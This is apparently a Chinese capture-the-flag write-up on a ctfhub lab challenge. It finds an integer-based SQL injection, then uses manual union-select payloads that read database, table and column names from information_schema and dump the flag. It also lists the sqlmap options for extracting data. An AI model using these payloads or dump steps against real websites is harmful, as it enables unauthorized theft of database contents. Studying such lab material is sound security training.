2025.1.15——六、SQL结构【❤sqlmap❤】

题目来源:ctfhub技能树

目录

一、打开靶机,整理已知信息

二、手工注入解题

[step 1:查看注入类型](#step 1:查看注入类型)

[step 2:order by语句判断字段数](#step 2:order by语句判断字段数)

[step 3:爆数据库名](#step 3:爆数据库名)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)

三、sqlmap解题------四步走

[step 1:--current-db](#step 1:--current-db)

[step 2:-D 数据库名 --tables](#step 2:-D 数据库名 --tables)

[​step 3:-D 数据库名 -T 表名 --columns](#step 3:-D 数据库名 -T 表名 --columns)

[step 4:-D 数据库名 -T 表名 -C 列名 --dump](#step 4:-D 数据库名 -T 表名 -C 列名 --dump)


一、打开靶机,整理已知信息

查看页面信息,提示"MySQL结构",所以为sql注入,两种思路:①手工注入;②sqlmap

二、手工注入解题

step 1:查看注入类型

键入:1

键入:1'键入:1''

键入:1 and 1=2 #

键入:1 and 1=1 #

由回显可得本题为整数型注入

step 2:order by语句判断字段数

键入:1 order by 2 #(根据经验,陌生题可使用二分法)

step 3:爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

step 4:爆表名

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

出现了奇怪的东西,继续看

step 5:爆列名

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lcwaabhcjo' #

东西应该就在这里

step 6:爆具体数据

sql 复制代码
1 and 1=2 union select 1,zrlcbgazoj from sqli.lcwaabhcjo #

得到flag

三、sqlmap解题------四步走

step 1:--current-db

step 2:-D 数据库名 --tables

step 3:-D 数据库名 -T 表名 --columns

step 4:-D 数据库名 -T 表名 -C 列名 --dump

得到flag。【sqlmap------YYDS】

相关推荐
KIDULT°1 小时前
MySQL系列 (1):数据库原理
运维·数据库·mysql·云计算
我不是程序员三三2 小时前
透明加密软件偶发解密异常排错实录:文件时能打开时乱码
数据库·域智盾
snhna2 小时前
向量数据库深度实战:从 HNSW 到 pgvector、Milvus 选型与 RAG 落地
数据库·人工智能·python·postgresql·milvus
天行健,君子而铎2 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
网络·数据库·安全
别动我齐刘海2 小时前
C++ 工程化学习
java·linux·前端·c++·学习·机器学习·机器人
牛战士coding3 小时前
MySQL 读写分离完整链路:主从复制、多数据源与 @DS 路由
数据库·mysql
砚凝霜3 小时前
【软考信息安全】第十章 入侵检测概述与原理分类
人工智能·安全·数据挖掘
goehou3 小时前
MCP 查数实战:让 LLM 安全地查数据库(只读账号、SQL 校验、参数漂移)
数据库·ai·llm·教程·mcp·function calling
我不会插花弄玉4 小时前
7.函数【由浅入深-MySQL】
android·数据库·mysql
周小董4 小时前
[1369]Windows上安装PostgreSQL
数据库·windows·postgresql